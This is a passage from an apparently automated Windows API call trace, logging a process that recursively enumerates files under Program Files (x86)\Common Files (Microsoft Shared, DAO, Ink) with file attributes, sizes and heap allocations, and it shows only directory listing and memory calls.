ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x98f52a00, ftLastWriteTime.dwHighDateTime=0x1d30266, nFileSizeHigh=0x0, nFileSizeLow=0x8f618, dwReserved0=0x0, dwReserved1=0x0, cFileName="jusched.exe", cAlternateFileName="")) returned 0 [0266.313] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0266.313] GetProcessHeap () returned 0xc10000 [0266.313] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.313] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0266.313] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0266.314] GetProcessHeap () returned 0xc10000 [0266.314] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0266.314] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0266.314] GetProcessHeap () returned 0xc10000 [0266.314] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0266.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0266.316] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.317] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb68755a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6754cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAO", cAlternateFileName="")) returned 1 [0266.317] GetProcessHeap () returned 0xc10000 [0266.317] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\DAO\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb68755a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6754cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.320] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb68755a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6754cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.321] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ae615, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0ae615, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0ae615, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 1 [0266.321] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0ae615, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d0ae615, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d0ae615, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x95000, dwReserved0=0x0, dwReserved1=0x0, cFileName="dao360.dll", cAlternateFileName="")) returned 0 [0266.321] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.321] GetProcessHeap () returned 0xc10000 [0266.480] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.480] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ink", cAlternateFileName="")) returned 1 [0266.480] GetProcessHeap () returned 0xc10000 [0266.480] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.482] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.482] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f7e1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0266.482] GetProcessHeap () returned 0xc10000 [0266.482] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.483] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f7e1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f7e1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a091a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7eebc800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a5565b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7eebc800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41865796, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x814e2200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a091a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x79d60fab, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7eebc800, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7dba9b00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip32.exe.mui", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0266.485] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0266.486] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0266.487] GetProcessHeap () returned 0xc10000 [0266.487] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.487] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0266.487] GetProcessHeap () returned 0xc10000 [0266.487] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Ink\\HWRCustomization\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0266.487] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.487] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0266.487] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0266.490] GetProcessHeap () returned 0xc10000 [0266.490] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.490] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0266.490] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0266.490] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff8b9e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdd7871bf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdd7871bf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x169c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41982330, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x2a329cb7, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x41982330, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff8b9e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd266c889, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd266c889, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x608600, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c344dca, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c344dca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c344dca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe06a81ac, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe06a81ac, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xcf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="penchs.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="pencht.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="penjpn.dll", cAlternateFileName="")) returned 1 [0266.491] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="penkor.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="penusa.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipanel.exe", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="pipres.dll", 